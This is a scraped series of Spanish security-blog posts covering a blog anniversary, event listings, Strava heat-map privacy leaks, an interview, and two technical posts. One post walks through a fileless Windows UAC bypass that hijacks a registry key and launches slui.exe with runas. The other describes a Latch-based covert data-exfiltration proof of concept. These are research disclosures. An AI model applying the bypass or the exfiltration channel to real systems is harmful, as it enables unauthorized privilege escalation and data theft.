Y vaya que sí las hice. No recuerdo tener un día sin estar metido en algo. Sin tener algo que rondara mi cabeza al acostarme. Sin levantarme de un salto para pelear el día. El veneno sigue ahí.  No, ya no quiero ser mayor. Ya no soy el más joven de mis grupos sociales. Ya no quiero que el tiempo pase deprisa para hacer más cosas. Ahora quiero que el tiempo pase despacio para que pueda hacer más cosas. Paradojas de la edad.

Entre todas las cosas que pasaron por mi cabeza en una de esas noches envenenadas fue la construcción de este blog. Era el 26 de Enero de 2006 cuando publiqué el primer post. Un sitio sin muchas pretensiones al inicio, pero con vocación de durar. Yo no hago las cosas por hacer. Si me pongo a hacer algo, es que lo voy a hacer. No dejo las cosas a medias. No dejo las colecciones de cromos sin terminar. No dejo las series sin acabar. Y cuando di al botón de publicar en este blog sabía que era un camino que empezaba que sería largo, porque no tenía fecha de finalización.

Si me hubieran preguntado en aquellos años si iba a aguantar doce años con él, no habría sabido decir. Me hubiera dado un poco de vertigo. Doce años eran más que los años que llevaba trabajando en tecnología cuando abrí el blog. Lo cierto es que los he aguantado.

Por el camino he tenido tiempo de vivir varias vidas. De poner mi vida patas arriba varias veces. De vivir las experiencias de varios tipos de vidas. De construir y reconstruir mi vida profesional y a Chema Alonso varias veces. De ponerme el gorro en más de mil ocasiones sobre un escenario. De iniciar proyectos de todo tipo. De hacer Retos hacking. Publicar libros. Hacer herramientas. Arrancar con Talentum. ElevenPaths. LUCA. Aura. Informática 64. 0xWord. De cuidar de Cálico Electrónico. De viajar. De dibujar. De leer. De montar en monopatín. De ser Telefónica. De bañarme en el mar. De tirarme por la montaña con la tabla de Snowboard. De patinar sobre hielo. De hacer miles de kilómetros en bicicleta. De romperme las piernas en las rocas. De reír con "Los niños perdidos" hasta llorar y que me duela la tripa.

Por el camino he creado al Dragón Matías. He escrito cuentos a Mi hacker y a Mi Survivor. He escuchado música hasta la saciedad. He conocido a mucha gente que sigue en mi vida. A muchos que se fueron. He perdido a gente que se ha ido dejando vacíos. He conocido a gente maravillosa. De llamar a Rodol una vez más para decirle "Tengo una idea" y liarle para algo nuevo.

Y el blog ha estado ahí. Como compañero de mis penas y alegrías. Como ventana al mundo para contar lo que vivía. Como mi bitácora emocional para que pueda recordar mi vida. Puedo leer los posts y saber cómo me sentía cuando lo publiqué. Qué hacía. Con quién estaba desayunando ese día. Con quién estaba comiendo cuando lo escribía para el día siguiente. Con quién lo comenté antes de escribirlo. Es difícil no haberme conocido y no estar conmigo en algún momento que tuviera que ver con el blog. He publicado desde New York, desde Buenos Aires, desde Inglaterra, desde China, desde Brasil, desde Alemania, desde Noruega, desde Egipto, desde Barcelona, desde Zamora u Orense, por citar solo algunos de los rincones del mundo desde los que he dado publicar un nuevo post.

He escrito en Noche Buena, en Noche Vieja, en mi cumpleaños, en días de mudanza, enfermo, alegre, contento y triste. Muy triste. Dolorido. Sufriendo o con fruición. En silencio. Con música - como ahora mismo -. Escuchando a Rosendo decir eso de "Voy a ser el enemigo disparando Pan de Higo", a Linkin Park con su "Sharp edges", a Queen, a Los Rodriguez con su "Todavía una canción de amor", a Loquillo con su "Voy a ser una Rock'n Roll Star" o a Bon Jovi y su "Born to be my baby". Doce años dan para muchos días. Muchas noches. Muchas canciones. Muchas letras. Muchos sentimientos. Muchos momentos. Muchas vivencias buenas y malas.

Y ahí están hoy. Doce años. Más de 4.400 posts. Con textos de todo tipo. Desde artículos técnicos, hasta chorradas personales. Con dedicatorias escondidas para amigos. Con mensajes de amor dentro de las letras. Con pullas. Con entrevistas. Textos que poco a poco han ido enriqueciéndose con los artículos de amigos que han subido el nivel de mis publicaciones. Con mis dibujos. Con tus comentarios. Con mis ideas. Mis anhelos. Con el toque que cada una de las personas que he conocido en mi vida ha influido en mis letras. Están ahí. 

¿Seré capaz de mantener Un informático en el lado del mal otros doce años más?

Si por mí fuera, no dudéis que así será. Me haré muy mayor para entonces, pero firmaría ahora. Aunque no creo que pase. Supongo que un día algo sucederá. Cambiará mi vida. Me esconderé del mundo y me iré, como dice Rodol, a una isla con un cocotero. Yo a dibujar y leer, seguro. Para que me visite Mi Hacker y se venga a pintar conmigo algún monstruo a pachas mientras se recuesta sobre mí. A esperar a ver si este año Mi Survivor encuentra un rato entre aventura y aventura para venir a ver su papaete. Tal vez con una sonrisa a mi lado que me regañe y me cuide cuando esté estresado.  Que me de un masaje relajante para calmar los nervios en mitad de la noche. Como me ha pasado tantas veces cuando el estrés me sacaba botando de la cama por culpa del trabajo o por no tener listo el post para publicar a tiempo en "Un informático en el lado del mal".

Saludos Malignos!

Distribuidores de @0xWord en Latinoamérica: Panamá, Argentina, Colombia, México, Costa Rica, Ecuador, Uruguay y Chile

$
0
0
La editorial 0xWord es un proyecto "low-cost" que consigue mantenerse con un funcionamiento muy personal. Es difícil ir a cualquier librería y encontrar un título de Seguridad Informática o Hacking de la calidad de los libros que se publican en 0xWord y al precio al que se mantienen. De hecho, aunque muchos no lo sabéis, ha estado a punto de tomarse la decisión de cerrar varias veces, ya que los gastos y los ingresos están muy ajustados.

Figura 1: Distribuidores de 0xWord en Latinoamérica

Aún así, a día de hoy la editorial sigue adelante y, además de todos los que compráis los libros, contamos con la ayuda de distribuidores en los principales de Latinoamérica que nos ayudan a expandir el alcance de la editorial. En España solo se pueden conseguir los libros en la web de 0xWord - o recogerlos en la tienda de Móstoles con cita previa -.

Figura 2: Tienda de 0xWord en Móstoles

En Latinoamérica se pueden conseguir en muchos países hablando con el distribuidor local - aunque a veces hay que tener algo de paciencia con el envío. Recientemente hemos añadido Costa Rica y Panamá a la lista de países, así que en el artículo de hoy os dejo la lista completa de los países en los que puedes pedir los libros.

Figura 3: Distribuidor de 0xWord en Argentina

Figura 4: Distribuidor de 0xWord en Chile

Figura 5: Distribuidor de 0xWord en Colombia

Figura 6: Distribuidor de 0xWord en Costa Rica

Figura 7: Distribuidor de 0xWord en Ecuador

Figura 8: Distribuidor de 0xWord en México

Figura 9: Distribuidor de 0xWord en Panamá

Figura 10: Distribuidor de 0xWord en Uruguay

Estos son los distribuidores que tenemos hoy en día. Nos faltan países, como Perú, Bolivia, Honduras o Venezuela, pero si vas a alguna conferencia en estos países en los que sí hay distribuidor tal vez puedas conseguirlos.

Saludos Malignos!

4 citas para esta semana: Hacking Ético Online, TIC Forum Guatemala, Segurxest en Valencia y h-CON en Madrid @0xWord @tssentinel @elevenpaths @luca_d3

$
0
0
Para este semana que se nos viene encima tenemos cuatro citas importantes centradas en el mundo de la seguridad informática, el hacking, el BigData y la transformación digital. Os dejo en el post de hoy el calendario de esta semana, que llega a Madrid, Valencia, Guatemala y un curso online.

Figura 1: 4 citas para esta semana: Hacking Ético Online,
TIC Forum Guatemala, Segurxest en Valencia y h-CON en Madrid

Esta semana arraca el primer evento el día 29 de Enero que es cuando da comienzo el Curso Online de Hacking Ético Experto, que tendrá una duración de 9 semanas y en el que se entregará como material de apoyo el libro de Pentesting con PowerShell. Este Curso Online en "The Security Sentinel" es una de las mejores opciones para adentrarse en el mundo del Ethical Hacking. Además, aunque el curso comienza el lunes, puedes matricularte a lo largo de toda la semana.

Figura 2: Curso Online de Hacking Ético Experto

Está pensado para que le saques el máximo de partido con prácticas por tu cuenta, practicas guiadas, y asesoramiento y resolución de dudas, al mismo tiempo que lees los textos adecuados. Este tipo de formación es perfecto para todos aquellos que tenéis algo de tiempo para avanzar a toda velocidad en vuestra preparación.

El día 30 el TIC Fórum llega a Guatemala. Un evento para CIOs, CSOs, CEOs y CISOs en el que se habla de la transformación digital de los negocios mediante el mundo del Big Data, la Ciberseguridad, el mundo del IoT, la Cloud y las comunicaciones móviles empresariales de banda ancha. Un día para acercarse a Telefónica.

Figura 3: TIC Fórum 2018 en Guatemala

Ese mismo día 30 de Enero da comienzo en ValenciaSegurxest, que durará hasta el día 1 de Febrero. Es un evento dedicado a la seguridad informática en el que tendrás la ocasión de ver conferencias de primera calidad. Además, desde 0xWord colaboramos, y podrás conseguir nuestros libros directamente allí.

Figura 4: Segurxest en Valencia

Después llega la H-CON en Madrid, concretamente en la ETSI de la Universidad Politécnica de Madrid, donde me hicieron Embajador Honorífico. Los días 2 y 3 de Febrero han preparado un programa con una cantidad de actividades.

Figura 5: H-CON en Madrid

Entre los ponentes, estará nuestro compañero de ElevenPathsSantiago Hernández hablando de "Hacking Network Protocols con Python". Además, colaboramos desde 0xWord en el evento. Merece la pena que revises la lista completa de Ponentes de H-CON.

Saludos Malignos!

¿Los datos de Strava delatan a los militares de USA?

$
0
0
Muchas veces he hablado por aquí del problema de utilizar sistemas de tracking deportivo por medio de apps y dispositivos que hacen un seguimiento de tus rutas de deporte, tus horarios, tus latidos del corazón, etcétera. Si utilizas la app de Endomondo y no controlas las opciones de compartición de tus ejercicios, cualquiera desde Internet puede hacer lo que quiera, tal y como os dejé en el artículo "Róbame, estoy haciendo deporte y estoy así de sano". Peor si comportes tus datos del pulsómetro, porque puede revelar datos de tu salud. Esto también pasaba con la red social Runtastic.

Figura 1: ¿Los datos de Strava delatan a los militares de USA?

Para comprobar el impacto de esto, con mi equipo personal en ElevenPaths hicimos un pequeño estudio que no publicamos. Se llamaba Runners Privacy, y analizamos cuántas cuentas se podían extraer de Endomondo, Strava y Runtastic sin protección de sus datos de ejercicio. 

Figura 2: Datos públicos de las rutas en perfiles de redes sociales deportivas

El resultado fue sorprendente, ya que en 2014 el número de usuarios con datos públicos en Internet de sus ejercicios era de 500.0000 en Endomondo, de 150.000 en Strava y de 100.000 en Runtastic. Y creciendo día a día. Muchos datos publicados en la red que podían dar mucha información de rutas cotidianas de la vida de las personas.

Figura 3: Caminata de un perfil en la red

Pero esto puede ser aún peor si son datos de una pulsera que trackea constantemente. Como ya conté en la charla de "You Are Where You Are", la ubicación de una persona a lo largo del día puede decir mucho de ella. Sus gustos, sus aficiones, si visita un hospital crónicamente, si va a reuniones políticas, con quién se junta, si va a comprar a determinadas tiendas, etcétera. Algo que puede ser muy peligroso si no se protege bien la información.


Figura 4: You are where you are

Estos datos pueden ser valiosos de forma individual, pero también de forma agregada, como es el caso del que os vengo a hablar hoy. Strava ha generado mucho lío publicando un mapa de calor con las rutas por las que sus usuarios realizan ejercicio, o lo que es lo mismo, desde las que mandan ubicaciones GPS.

Figura 5: Mapa de calor publicado por Strava

Esto en lugares como Madrid, te permite encontrar cuáles son las rutas más habituales en la Casa de Campo, o por la zona donde tú vives, y si estás de viaje en alguna ciudad que no conoces, puede ser muy interesante - para eso se crearon las redes sociales de deportistas, entre otras cosas -.

El problema es cuando vamos a países en guerra donde la proliferación de estos sistemas es casi nula. Lugares en los que hay soldados desplazados de países en los que sí que son utilizadas estas tecnologías de tacking deportivo. Es el caso de Irak, o Somalia, con los militares norteamericanos.

Figura 6: Rutas en Irak

En el caso de Irak, se puede ver como existen pequeñas rutas que acaban en puntos en el medio de ningún sitio, lo que puede significar la existencia de una base militar. Hay que recordar que hace tiempo se borraron de las imágenes tomadas por los satélites las zonas que tenían bases militares. Lo mismo en Somalia, donde en ninguna parte del país hay información, más que en algunas rutas que terminan en medio de ningún sitio.

Figura 7: Rutas en Somalia. El resto del país está "desierto" de rutas

Al final, los datos de localización son muy valiosos, y una publicación de ellos de forma anónima puede llegar a descubrir, como ha sido el caso, un PoI (Point of Interest) que puede afectar a la seguridad del personal militar de la base.

Saludos Malignos!

uac-a-mola de @ElevenPaths ya lo infirió a finales de 2017: 2018 comienza con un nuevo Fileless bypass de UAC en Win8.1/10

$
0
0
El pasado mes de diciembre presentamos en Black Hat Europa 2017 a uac-a-mola nuestro framework para investigar, detectar, explotar y mitigar bypasses de UAC. Tanto allí como en el paper de la herramienta comentábamos que, según los módulos de investigación que tenemos actualmente, se habían detectado algunos bypasses de UAC potenciales de tipo Fileless. Además, también se observa en el paper un gran número de bypasses mediante DLL Hijacking que afectan diversos binarios de Windows.

Figura 1: 2018 comienza con un nuevo Fileless bypass de UAC en Win8.1/10 

Revisando los últimos bypasses que se van descubriendo, y que parecen no tener fin, vimos que el binario slui.exe es débil a la manipulación de registro, es decir, un posible Fileless. Esto llamó mi atención. Según podemos ver en el proyecto uacme, este bypass es usable desde la versión 8.1 de Windows. Revisé el paper y, en efecto, lo teníamos registrado como uno de los bypasses descubiertos por uac-a-mola a finales de 2017. De hecho, fue parte de la investigación que hicimos para la publicación del libro "Hacking Windows".

Figura 2: Slui File Handler Hijack LPE

El investigador que ha publicado el bypass es bytecode77 y en su blog se pueden ver los detalles para llevar a cabo el aprovechamiento del bypass. Como se puede ver en la siguiente tabla proporcionada en el paper de uac-a-mola, el binario slui.exe se encontraba entre los binarios que podían ser utilizados para llevar a cabo un bypass de UAC. Esto fue descubierto a través del módulo de investigación de uac-a-mola llamado fileless_discovery.

Figura 3: Binarios para usar bypass UAC fileless en el paper de uac-a-mola

El bypass también es utilizable en la versión de Windows 10 y, a día de hoy, no está parcheado, según se indica en el proyecto uacme. Realizar el ataque manualmente es sencillo y lo vamos a mostrar de manera rápida.

En primer lugar, con ProcMon podemos monitorizar las acciones que realiza slui.exe sobre el registro de Windows. Se puede observar como hay un 'NAME NOT FOUND' en la consulta a la clave HKCU\Software\Classes\exefile\shell\open\command. Es bastante similar a la clave que se utilizaba en el primer fileless, el del eventvwr. Cuando el binario no encuentra la clave, se dirige al hive HKCR. Aquí busca HKCR\exefile\shell\open\command.

Figura 4: NAME NOT FOUND en la clave buscada

Entonces, si en la clave no encontrada, la cual pertenece a HKCU, rama del registro dónde escribir sin privilegio, ponemos la ruta a un binario podremos ejecutar algo distinto a lo que se ejecuta cuando se invoca slui.exe. Hay que tener en cuenta el contexto de integridad en el que se ejecuta slui.exe, el cual puede ejecutarse en un contexto de integridad alto, sin solicitar el UAC. Para ello, hay que ejecutarlo con el verb runas.

Visto esto, hay que crear la rama en el registro. Esto se puede hacer a través de la línea de comandos de Powershell utilizando el provider del registro, de manera muy intuitiva.

Figura 5: Creación de rama en el registry a través de PowerShell

Como se puede ver, se crea la clave y se le aporta un valor por defecto que es que se invoque un cmd.exe. Este cmd.exe será ejecutado en un contexto de integridad alto si slui.exe es ejecutado de la forma adecuada. Para invocar al binario slui.exe se debe hacer utilizando el verb runas, por lo que en Powerhsell se puede realizar de la siguiente manera start-process c:\Windows\System32\slui.exe -verb runas. Tras realizar la prueba obtenemos algo tal que así:

Figura 6: Bypass de UAC conseguido

No es el único Fileless que está sin parchear ya que el de fodhelper.exe sigue siendo muy útil en los proyectos de Ethical Hacking. Además, uac-a-mola tiene disponible el módulo para detectar y aprovecharse del binario fodhelper.exe en Windows. Además, tienes disponible este artículo sobre cómo construir un módulo para uac-a-mola.

Por último, os dejamos un video de un ejemplo sobre este nuevo bypass publicado por bytecode77 y que uac-a-mola infirió a finales de 2017, tal y como se puede ver en el paper de la herramienta.

Figura 7: PoC de UAC Bypass con slui.exe tipo fileless 

Sin lugar a la duda, el año 2018 pinta ambicioso a lo que la investigación en UAC se refiere, ¿Tendremos un año similar al 2017? Todo hace indicar que puede que sí. Tanto yo como uac-a-mola estaremos atentos. Si te gusta este tema, tienes estos libros para ampliar conocimientos: Máxima Seguridad en Windows, Hacking Windows, Ethical Hacking y Pentesting con Powershell.


Figura 8: Presentación de uac-a-mola en CCN-CERT 2018

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths  con la colaboración de Santiago Hernández Ramos, nuevo cybersecurity "padawan" researcher en ElevenPaths

Latch Exfiltration: Módulo multiplataforma de exfiltración de datos usando Latch

$
0
0
El año pasado, planificando el Trabajo de Fin de Máster del Máster de Seguridad de la UEM que consistía en la fortificación de una cartera Bitcoin con Latch, Pablo González (@pablogonzalezpe) nos propuso una idea muy interesante: aprovechando la integración con Latch, por qué no habilitar la transferencia de la clave privada entre carteras a través de esa plataforma.

Figura 1: Latch Exfiltration: Módulo multiplataforma de exfiltración de datos usando Latch

Poco después, Pablo González y Álvaro Nuñez-Romero (@toolsprods) implementaron sobre esta idea una PoC llamada Latch'sApp en el Equinox de ElevenPaths para exfiltrar datos en general. Hicieron un hack en Python muy completo e interesante, llegando incluso a integrarlo como plugin para Data Exfiltration Toolkit.


Figura 2: Funcionamiento de Latch'sApp

Sin embargo, en nuestro equipo del TFM, decidimos crear una aproximación de la herramienta por nuestra cuenta, para ver hasta donde podíamos llegar partiendo de la idea inicial. Para llevar a cabo el proyecto elegimos el SDK de Latch en Python, ya que teníamos implementada nuestra cartera Coinbase en un servidor Django y Python 2.7. Así, planteamos las siguientes reglas para nuestro desarrollo:
1. Existe un módulo de lectura y otro de escritura, que comparten entre ellos una cadena de caracteres; así podríamos enviar información en formato JSON para luego poderla procesar como nos convenga. 
2. Creamos 8 cerrojos para la representación binaria, junto a otros tres de control. 
3. Los cerrojos de control se encargan de tres cosas. Indicar si la operación es de escritura o lectura, informar de que ha terminado la ejecución cuando se ha transmitido toda la cadena e indicar al módulo de escritura que hay un módulo de lectura escuchando para empezar la escritura. 
4. Si los cerrojos no están creados existe una comprobación para inicializarlos. 
Figura 3: Explicación en vídeo de los pasos de Latch Exfiltration
5. Se lee el primer byte de la cadena y se obtiene una representación binaria en unos y ceros. 
6. El módulo de escritura coloca los cerrojos acorde a los bits y deja el cerrojo de control en “off” para indicar que ha realizado la operación. 
7. El módulo de lectura comprueba el estado de los cerrojos y obtiene la cadena binaria, añadiendo un 1 si el cerrojo está en “off” y un 0 si está en “on” y vuelve a colocar el cerrojo de control en “on”. 
8. Una vez se tenga la cadena entera se obtiene el byte filtrado.
Portar el módulo de exfiltración a iOS con Swift.

A pocas semanas de entregar el TFM se me ocurrió una nueva idea. Ya que Coinbase es una cartera virtual que cuenta con una API y varios SDKs muy completos, sería relativamente fácil portarla a otras plataformas como pueden ser iOS o Android, así que me puse manos a la obra y empecé a portar la aplicación a iOS con Swift.

Figura 4: Implementación de Latch exfiltration en Python

El primer problema vino cuando buscando un SDK para esa plataforma vi que no había ninguno implementado. Primero intenté usar el SDK de Latch en C, ya que iOS soporta la ejecución de código en Lenguaje C tanto en proyectos con Objective-C como en Swift. Por desgracia, una de las librerías necesarias, libcurl, no llegaba a funcionar correctamente con el proyecto, así que pasé al Plan B.

Si no existe, créalo.

Una de las ventajas de Latch es que su SDK se reduce a implementar peticiones HTTPS a un servidor, que producen una respuesta que se procesa para actuar acorde con el estado de la petición, un estándar en desarrollo web. Además, los chicos de ElevenPaths tienen una documentación muy clara y concisa en la página para desarrolladores, además de los vídeos en los que explican cómo usar la tecnología Latch.


Figura 5: Cómo utilizar Latch en aplicaciones PHP

Así, en un par tardes y con ayuda de las las URLs ya formadas que saqué de la herramienta escrita en Python, implementé una primera versión del SDK. A grandes rasgos y sin entrar en detalle - ya que viene muy bien explicado en la documentación - los puntos más importantes a los que me tuve que enfrentar fueron:
1. Implementación de las HTTP Request. Para ello usé una dependencia muy famosa de iOS llamada Alamofire, que envía procesa peticiones HTTP pudiendo elegir el método, cabeceras, parámetros... 
2. Formación las cabeceras y posterior firma usando el algoritmo HMAC-SHA1. Swift tampoco soporta nativamente firmas por hash, por lo que tuve que usar la librería CCommonCrypto y un wrapper para Swift. 
3. Por el carácter asíncrono de las peticiones, la necesidad implementar las funciones con “completion handlers”, trozos de código que escapan el flujo de una función y se ejecutan por un trigger. Así, tuve que recurrir mucho a recursión en sustitución a los bucles que podía usar en Python.
Pese a todo, no resultó muy difícil, y en poco tiempo conseguí implementar todas las funciones necesarias para desarrollar el módulo de exfiltración.

Figura 6: Proyecto con la implementación de Latch'sApp en XCode con Swift

Después de esto, solo fue necesario portar lo que había hecho en Python a Swift, implementando las respuestas asíncronas y buscando librerías que permitiesen la traducción de caracteres a bytes. Para ilustrar todo esto, lo junté en un PoC, una app para iOS que pudiera enlazarse con Latch a través de un código de enlace, poder controlar el cerrojo general de la aplicación y poder exfiltrar datos desde un ordenador a un móvil con iOS.

Figura 7 - PoC de Latch'sApp Data Exiltration en Swift

En definitiva, la experiencia ha sido satisfactoria, me quedo con la versatilidad y potencial que tiene Latch, como se ha podido ver en otras ocasiones, y con la experiencia de haber podido ampliar el alcance del Trabajo de Fin de Máster que realizamos mis compañeros Nacho (@DadeKan) y Danilo. Tanto el módulo en Python como el PoC en Swift los podéis encontrar en Github, cualquier mejora o ayuda es bien recibida.

Un saludo.

Autor: Lucas Fernández

Ya llevo seis años trabajando en @Telefónica. It rocks!

$
0
0
Hoy 1 de Febrero se cumplen 6 años ya desde que comencé mi andadura en Telefónica. Los inicios ya os los narré cuando fue mi cuarto cumpleaños. El programa Talentum, ElevenPaths y Global Security. Después durante el quinto y sexto año cosas que os he ido contando. Me nombraron Global Chief Data Officer, empecé a diseñar lo que sería la 4ª Plataforma, lanzamos LUCA y presentamos AURA que cobra vida este mismo mes. Muchas actividades que no son explicables sin entender los sentimientos que tengo al trabajar en esta casa.

Figura 1: Ya llevo seis años trabajando en Telefónica. It rocks!

Dicen los mentores que tengo en la organización que no me van a quitar el carné de becario hasta que no haga 10 años en Telefónica, y lo cierto es que cada día que estoy allí me doy cuenta de cuán grande que es la casa, cuan importante es el valor humano de la gente que trabaja allí, y  lo que me queda por aprender aún para que me quiten el carné de becario.

No solo es grande dentro por dentro, sino que además es grande en el sector, donde tenemos una responsabilidad con nuestros pares de seguir desarrollando nuestro hueco conjunto en la industria en la que trabajamos. Con nuestros competidores y aliados hay que esforzarse en definir y coordinar las líneas de trabajo en la estandarización de nuevas tecnologías, en las inversiones en nuevas infraestructuras, y la modernización de los servicios que ofrecemos.

También en las sociedades donde estamos. Venimos de ser un servicio público, y debemos ayudar a los países donde operamos a desarrollar la economía digital, para lo que tenemos que seguir invirtiendo que doten de columnas vertebrales de comunicación solidas y modernas. Fibra, 4G, 5G, redes inteligentes, soluciones de banda ancha y seguridad para el mundo empresarial y las administraciones públicas.

Es una responsabilidad mantener, en la parte que puede un becario como yo, algunas de esas obligaciones auto-impuestas que tiene la compañía, y que se siente en las personas que sustentan cada una de esas actividades.

Y tecnología.

Mucha tecnología. Tecnología en la red. Tecnología en los sistemas de vídeo con los descos, los nuevos que vienen ahora en 4K desde él hardware. Tecnología en las redes con protecciones anti-DDOS. Tecnología en las redes virtualizadas que se despliegan. Tecnología en las plataformas de BigData. En los equipos entrenando los modelos cognitivos de AURA en portugués. En los equipos de innovación que piensan en cosas que tendrá AURA en el futuro. En los moonshots que el equipo de Telefónica Alpha investiga en Barcelona.  En la integración de los MNO con las redes troncales. En la implantación de sistemas de seguridad como Niji en la red. En las plataformas que dan soporte a las conexiones del connected-car en los equipos de IoT. Tecnología por doquier.


En mi caso particular, entrar en el Oeste 1 y ver el hervidero que hay allí, me alegra. Es un edificio vivo, lleno de "becarios" como yo que ponen su granito de arena con esfuerzo para ganarse un rinconcito en la historia de esta compañía tan grande.

Me encanta pasarme por las mañanas o por las tardes a ver en sus sitios a los equipos de CDO. Me siento un segundo aquí y allá para ver qué están haciendo. Me meto en reuniones a escuchar unos minutos. Me quedo detrás de la pantallas a ver en que trabajan. Les molesto un rato para sentir lo que estamos construyendo. Y a veces hasta opino para cambiarles el paso. Soy un becario muy guerrero.

Gracias. Tal vez me maten mis compañeros por publicar esta foto, pero he visto que hay muchas en Twitter ya en las que se les ve disfrazados, así que, no hay vuelta atrás. Tal vez me maten por publicar esta foto, pero creo que representa lo que son unos compañeros. Guillermo y Mariano son mis compañeros en Telefónica, llevan las áreas de CCDO y Global Resources. Con ellos discutimos, debatimos, intercambiamos opiniones, alineadas y encontradas, nos dejamos recursos para sacar los proyectos del otro a tiempo. Nos llamamos para ver cómo vas con AURA, cómo vas con SmartWiFI, cómo hacemos para la parte de UNICA, qué FullStack hay que acelerar. Y los admiro. Son gente inteligente, cabal, trabajadora y de la que me puedo fiar y me fío. Me apoyo en ellos para sacar las cosas adelante, y es un placer trabajar con ellos. El jueves, con el único espíritu de divertir a todos los compañeros, y hacer más divertido nuestro #reencuentro tuvieron el valor de disfrazarse de rockeros. Yo pedí una foto para mi Instagram, y es este momento. Yo estoy feliz de trabajar con ellos, y orgulloso de que sean como son. Gracias Guillermo, Gracias Mariano. Gracias Telefónica. Proud++
A post shared by Chema Alonso (@chemaalonso) on

Han sido seis años intensos. Movidos. Divertidos. Alegres. Estresantes. A veces me desanimo viendo lo grande que es la montaña. Otras me corro montaña arriba. Otras, mis mentores vienen a tomarse un café conmigo y me aúpan. Algunas veces es un joven Talentum que acaba de entrar y al hablar de un proyecto nuevo se me cargan las pilas. Otras veces voy a ver a mis antiguos compañeros de Informática 64 y los veo como cuando estábamos en el SOCtano. No ha cambiado tanto, pienso. Seguimos haciendo tecnología, solo que en un sitio que es un paraíso para un ingeniero. ¡Si hasta tenemos que ir pidiéndonos ingenieros entre las áreas para sacar los proyectos!

Hasta ahora ha sido un viaje, y como en el día del cumpleaños se puede pedir un deseo, yo voy a pedir algo. Pero no os lo voy a decir, que si no no se cumple. Supongo que no hace falta que os lo diga, que si has leído hasta aquí el texto sabrás qué puede ser.

A post shared by Chema Alonso (@chemaalonso) on

Eso sí, lo que puedo decir es lo que siento. Agradecimiento a todas las personas que han trabajado conmigo ahí. Que me han enseñado. Estén ya, o no estén en la casa. Que Telefónico una vez, Telefónico siempre. Gracias Telefónica.

Saludos Malignos!

Entrevista a Pablo González (@pablogonzalezpe)

$
0
0
Hace tiempo que tenía una cuenta pendiente con un amigo, compañero y profesional al que admiro. Tengo la suerte de trabajar con él desde hace casi ya una década, y cuando llego prontito a la oficina miro a su sitio a ver si lo encuentro. Se sienta justo en frente de mi espacio. Todos los minutos que tengo antes de la primera reunión son para compartir un café con él. Nos sentamos, hablamos, elucubramos y pergeñamos nuevas ideas, nuevos hacks, nuevas cosas. Es Pablo González (@pablogonzalezpe).

Figura 1: Entrevista a Pablo González

Con él he hecho cosas como el  WordPress in Paranoid Mode, Sappo, DirtyTooth, Hidden Networks, Pigram, los libros de Hacking iOSHacking Web Technologies por solo citar un par de ellos, y en casi todas las ideas y proyectos en los que comienzo, se encuentra él. Su grupo, que está conmigo es un paso previo al equipo de innovación de ElevenPaths que lleva Sergio de los Santos. Es decir, Pablo y yo - con el resto del mini-equipo que somos en esto - hacemos PoCs, Hacks, con spaghetti code, papers, posts, conferencias, tests, vemos si puede ser una patente, un producto y lo pasamos al lab o lo publicamos.

Como sabéis, también escribe por este blog una vez a la semana, más o menos, así que es hora de que lo conocierais un poco más de cerca. Como lo conozco yo. Le he hecho esas preguntas que yo le puedo hacer porque lo conozco bien. Espero que os guste.

Saludos Malignos!

- Tú vienes del equipo de Informática 64 y llevas ya... ¿cuántos años trabajando conmigo?
Allá por el mes de septiembre de 2009 entraba por primera vez en Informática 64, un local que había en mi Ciudad y del que yo poco sabía, más allá de lo que mi amigo Juan Antonio Calles me había contado. Él, un poco a mis espaldas, entregó mi CV y me llamaron. Tras pasar dos entrevistas, me cogieron a prueba de 6 meses. No me enrollo más, finales de 2009, echa cuentas ;-)
- El primer día que entraste en Informática64, ¿te imaginabas un futuro así?
Imposible. Tenía 22 años y entraba en una familia sin saberlo. Recuerdo el primer día en Informática 64. Te dan el equipo, te explican un poco quién es cada uno, te sientas en el SOCtano y me piden la primera cosa a realizar. No hubo que esperar mucho para empezar a hacer cosas. Tenía media jornada porque estaba terminando la Ingeniería Informática. Tenía 6 meses a prueba y me enviaron 5 meses a dar un curso de administración de sistemas Linux y como estaba a media jornada, me tiraba semanas sin ver al resto de la gente. Manuel, haciendo un poco de padre, me decía tu vente los viernes a comer al Restaurante Chino, que teníamos al lado de la oficina. Esos detalles empezaban a mostrarme que era una empresa diferente.


A post shared by Chema Alonso (@chemaalonso) on

Cuando regresé de la formación se valoró positivamente mi trabajo y fui renovado de forma indefinida. Directamente. Lo que siempre me llamó la atención, y me encantaba, era que hacíamos de todo. Podíamos participar en consultoría, en auditoría, en difusión, en comunicación, en investigación… No había dos días iguales. Además, tenía la "suerte" de no tener peso, era un recién llegado que "solo" tenía que aprender de los demás y aquí es cuando me di cuenta que toda persona que me rodeaba en Informática 64 podía enseñarme mucho. Una gozada.

Sin duda una época irrepetible. A veces pienso, ¿se podría repetir hoy día? Y me respondo no. Creo que se dieron las circunstancias adecuadas, en la época adecuada y con las personas idóneas para que aquella empresa fuera lo que ha sido y haya dejado la huella que ha dejado en las personas que estuvimos o pasamos por allí. Fue una suma de propiedades que no volveremos a vivir, al menos eso creo. Un honor mi querida Informática 64.

Por último, y ahora sí para responder a tu pregunta, no podía imaginar todo lo que ocurrió después, en mayor o menor medida nos fue cambiando la vida a todos los que estábamos allí. Como curiosidad, cuando yo entré pensaba aquí duro 3 meses… y estamos en el año 2018 y aquí sigo :-)
- Luego ElevenPaths, trabajando para llevar la FOCA a la nube con Faast, y ahora en el Crazy Ideas Team personal del Global CDO. ¿Cómo es tu día a día ahora?
Intenso, pero un privilegiado. Explico esto. El día a día es voraz, tenemos mil frentes abiertos y tenemos que dar, en algunas ocasiones, respuestas en tiempos cortos. Somos un equipo ágil, o así intento que sea. Nuestro día a día consiste en realizar pruebas de concepto de ideas que van surgiendo, apoyar en la difusión tecnológica de la empresa a través de diferentes medios como, por ejemplo, las charlas, la integración de ideas que se van probando en diferentes productos de la organización o, incluso, la participación en patentes gracias a las pruebas o ideas que vamos trabajando.

Ahora que he explicado lo de intenso os cuento lo otro. Privilegiado porque visto los años que hemos pasado, poder trabajar en lo que nos gusta es algo que no está al alcance de todos, por lo que debemos valorarlo, ya que en muchas ocasiones no valoramos lo que tenemos, como dice el dicho, hasta que lo perdemos.
- También cuidas de Flu-Project y de HackersClub. ¿Crees que emprender proyectos personales ha sido positivo en tu aprendizaje?
